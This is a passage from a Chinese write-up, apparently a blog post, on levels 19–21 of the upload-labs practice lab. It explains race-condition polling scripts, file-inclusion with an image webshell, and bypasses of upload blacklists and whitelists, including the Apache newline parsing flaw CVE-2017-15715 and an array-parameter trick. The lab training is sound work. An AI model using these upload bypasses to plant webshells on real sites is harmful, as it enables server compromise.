url = "http://192.168.114.200/upload-labs-master/upload/19.php.ppt"
while True:
    html = requests.get(url)
    if html.status_code == 200:
        print("OK")
        break
    else:
        print("发包中")

burp不断发包

 

 成功

 访问shell19.php

PS:其实你上传任何白名单的后缀都可以  包括图片等等 如果有时间的话我会研究一下漏洞的底层原因

 思路二

白名单+条件竞争+文件包含漏洞

通用于php的nts和ts版本 因为是文件包含

py脚本代码如下:

import requests

url = "http://192.168.114.200/upload-labs-master/include.php?file=upload/19.jpg"
while True:
    html = requests.get(url)
    if ('Warning' not in str(html.text)):
        print('ok')
        break
    else:
        print("发包中")

剩余操作和第17、18关一样 

非预期解

PS:由于是文件包含 不用条件竞争也是可以的 上传图片马直接包含就行了

Pass-20(黑名单+上传路径可控)

pathinfo()函数

<?php
$path_parts = pathinfo('/www/htdocs/inc/lib.inc.php');

echo $path_parts['dirname'], "\n";
echo $path_parts['basename'], "\n";
echo $path_parts['extension'], "\n";
echo $path_parts['filename'], "\n"; // since PHP 5.2.0
?> 

/www/htdocs/inc
lib.inc.php
php
lib.inc

 产生漏洞的代码   $_POST传参导致文件上传路径可控

$file_name = $_POST['save_name'];
$img_path = UPLOAD_PATH . '/' .$file_name;

方法就很多了

.user.ini绕过——Pass05

大小写绕过——Pass06

末尾加空格或点或::$DATA绕过——Pass07、08、09

apache多后缀解析绕过

POST型00截断绕过

思路一

move_uploaded_file会忽略末尾的/.

本关用move_uploaded_file函数执行上传动作,该函数会忽略文件末尾的/.,因此可以在文件名后加/.这两个符号来绕过黑名单的限制。原理不太懂

思路二

Apache HTTPD 换行解析漏洞(CVE-2017-15715)

apache2.4.0~2.4.29版本 判断后缀时会带上末尾的换行符,也就是说.php%0A这个后缀和.php一样都会被apache当作php文件解析。

这个漏洞只有Linux能用,倒不是因为windows上的apache没有这个问题,而是因为windows不允许使用换行符作为文件名的结尾。​​​​​​​

​​​​​​​

   Pass-21(MIME验证+白名单+上传路径可控)

这一关白名单
验证过程:
--> 验证上传路径是否存在
--> 验证['upload_file']的content-type是否合法(可以抓包修改)
--> 判断POST参数是否为空定义$file变量(关键:构造数组绕过下一步的判断)
-->判断file不是数组则使用explode('.', strtolower($file))对file进行切割,将file变为一个数组

例如我上传upload.php.jpg

就会返回数组

array(3){
[0]=>upload,
[1]=>php,
[2]=>jpg
}

--> 判断数组最后一个元素是否在白名单中 由于是白名单校验 所以不能利用 $_FILES['upload_file']['name'] 

--> 数组第一位和$file[count($file) - 1]进行拼接,减1是因为数组下标默认从0开始 最后保存文件名file_name
--> 上传文件

 想要绕过白名单上传,很明显需要使end($file)和$file[count($file)-1]指向不同的内容

end($file)是合法的后缀用于骗过白名单,而$file[count($file)-1]是实际上传的后缀

那怎样才能让数组最后一个元素和$file[count($file)-1]不一样呢?

由于explode函数只能分割字符串 那么用$_POST['save_name']上传一个数组就绕过了这段代码 

$file = empty($_POST['save_name'])?$_FILES['upload_file']['name'] : $_POST['save_name'];
if (!is_array($file)) {
              $file = explode('.', strtolower($file));
}

却成为了$file数组

那么让数组最后一个元素为合法后缀

array(3){
['save_name']​​​​​​​[0]=>upload.php
['save_name']​​​​​​​[2]=>jpg
}

正常来说 end($file)=$file[count($file) - 1]  

但我没有上传下标为['save_name']​​​​​​​[1]=>xxx的数组元素 所以2-1=1 数组元素为空

那么$file_name = reset($file) . '.' . $file[count($file) - 1]; 保存成了upload.php空字符 也就是upload.php 

​​​​​​​从而实现了绕过白名单

当然你也可以使用apache未知后缀名的解析漏洞  记得设置 phpts版本 中间件  设置Apache以moudel方式连接    

 防御手段

白名单+二次渲染+随机文件夹+随机文件名+变态WAF+无敌杀毒软件

  • 29
    点赞
  • 119
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值